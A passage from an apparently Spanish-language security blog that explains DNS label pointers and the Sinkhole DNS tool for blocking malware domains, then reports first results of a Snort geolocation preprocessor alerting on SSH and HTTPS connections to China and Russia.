Estas construcciones pueden complicarse cuando se emplean punteros, que permiten legítimamente al protocolo DNS ahorrar espacio al poder saltar a cualquier posición del payload, dificultando la obtención del dominio solicitado, así como pudiendo generar bucles infinitos. Los punteros se identifican porque el valor del número de caracteres que le preceden es superior a 63. Recuerden que un dominio y subdominio no pueden superar los 63 caracteres, por tanto, si el valor es superior a 63 (0x40 o superior) esto indica que es un puntero y tras él, se indica la posición del payload donde se desea saltar.

La segunda herramienta básica a la que hacíamos referencia es Sinkhole, de Guy Bruneau, necesaria y prácticamente obligatoria en cualquier infraestructura. Lo que hace esta herramienta es detener la actualización y comunicación del malware con su controlador si emplean para ello Fast Flux (la gran mayoría del malware actual).

Sinkhole es un servidor DNS (BIND) al cual se le ha añadido un listado de dominios conocidos que distribuyen malware; en lugar de apuntar a la IP real del malware, se apunta a un servidor interno vacio y de esta forma cuando los usuarios reciban un correo con un enlace a un dominio que contenga malware, si pincha en el enlace correspondiente, Sinkhole impedirá que se infecten al redireccionarle al servidor vacio, de la misma forma que impedirá que el malware se actualice y que el atacante obtenga el control del equipo. Una política acertada es monitorizar las conexiones al servidor vacio para emplearlo como una herramienta de detección de malware. Es importante tener claro que para que esta estructura funcione todos los equipos de usuarios sólo pueden resolver dominios pasando por el DNS Sinkhole y que el DNS Sinkhole debe redireccionar, una vez pasado el filtro, al DNS interno.

Existen muchas otras configuraciones a tener en cuenta, como por qué aceptamos respuestas de DNS con un TTL inferior a un día o por qué algunos DNS no seleccionan de forma aleatoria su ID y su puerto origen para evitar envenenamiento de la cache de tipo Kaminsky, pero esto ya requeriría más de una entrada :)

Para finalizar les muestro un diagrama básico de una arquitectura más o menos segura de implantación de un DNS, que seguro que a todos nos sonará por tenerla implantada en nuestra empresa al ser un requisito indispensable de la norma ISO 27002… ¿verdad? :) Bromas aparte, ahí va:

DNS

Primeros resultados del preprocesador de geolocalización

Hace un par de semanas definimos cuales eran las principales limitaciones que presentan los IDS/IPS actuales y como era necesario aportar algo más de conocimiento para poder detectar amenazas y riesgos en la infraestructura.

Como ejemplo de requisito adicional se desarrolló un preprocesador dinámico de geolocalización para Snort que permitía poder generar alertas en función del origen o destino de la IP de un paquete de red. El concepto era totalmente distinto a lo que se había desarrollado actualmente con la geolocalización, puesto que nuestro objetivo no era, una vez generada una alerta obtener la procedencia o destinatario con fines únicamente estadístico, sino ser capaces de generar la alerta por la procedencia o el destino de un paquete de red.

Una vez comprobado el correcto comportamiento de esta nueva funcionalidad en distintos entornos de preproducción, se procedió a desplegarla en varios IDS de producción para comprobar su funcionamiento, analizando la información obtenida para comprobar si realmente podría ayudar a detectar amenazas y riesgos en la infraestructura. Las reglas de detección que se han empleado para esta primera fase corresponden a nuevas conexiones hacia países de China y Rusia a los servicios SSH y HTTPS ( puerto destino 22, 2222 y 443).

Los resultados fueron buenos, y aunque lógicamente se pueden mejorar y trabajaremos en ello la primera versión supero las estimaciones previstas. Del conjunto de alertas totales que se generaron en los IDS, el 2.4% fueron del preprocesador de geolocalización. De dichas alertas el 49% correspondían a IP’s ya conocidas de Malware puesto que se trataban principalmente de RBN’s y servidores comprometidos conocidos.

De las 51% de las alertas restantes que no correspondían a IPs de Malware conocido se procedió a realizar un muestreo para comprobar aproximadamente cuales de dichas alertas correspondían a falsos positivos y por tanto, conexiones legítimas a dichos países y en cuales no había ningún motivo para que se hubiera efectuado dicha conexión, identificando posible Malware desconocido.

Los resultados fueron que el 30% de ese 51% correspondía a falsos positivos mientras que el 70% correspondían con IP’s para las cuales no existía ningún motivo aparente de que se realizará dicha conexión, y por tanto, es más que probable que el equipo estuviera infectado con Malware. De hecho es en este punto en donde se está trabajando actualmente.

El resumen de los primeros resultados se muestra en la siguiente gráfica donde conocido corresponde a IP’s que ya eran conocidas como fuente de malware, desconocido implica aquellas IP’s para las cuales no se conoce un motivo aparente para que se hubiera establecido una conexión a un puerto cifrado mientras que falso positivo indica conexiones legítimas a China o Rusia que generaron alerta:

Por tanto, pese a tratarse de conexiones en su gran mayoría al puerto 443 (HTTPS) y cifradas, las cuales nunca hubieran generado alerta en los IDS tradicionales, se generó alertas que identificaron Malware no detectado previamente.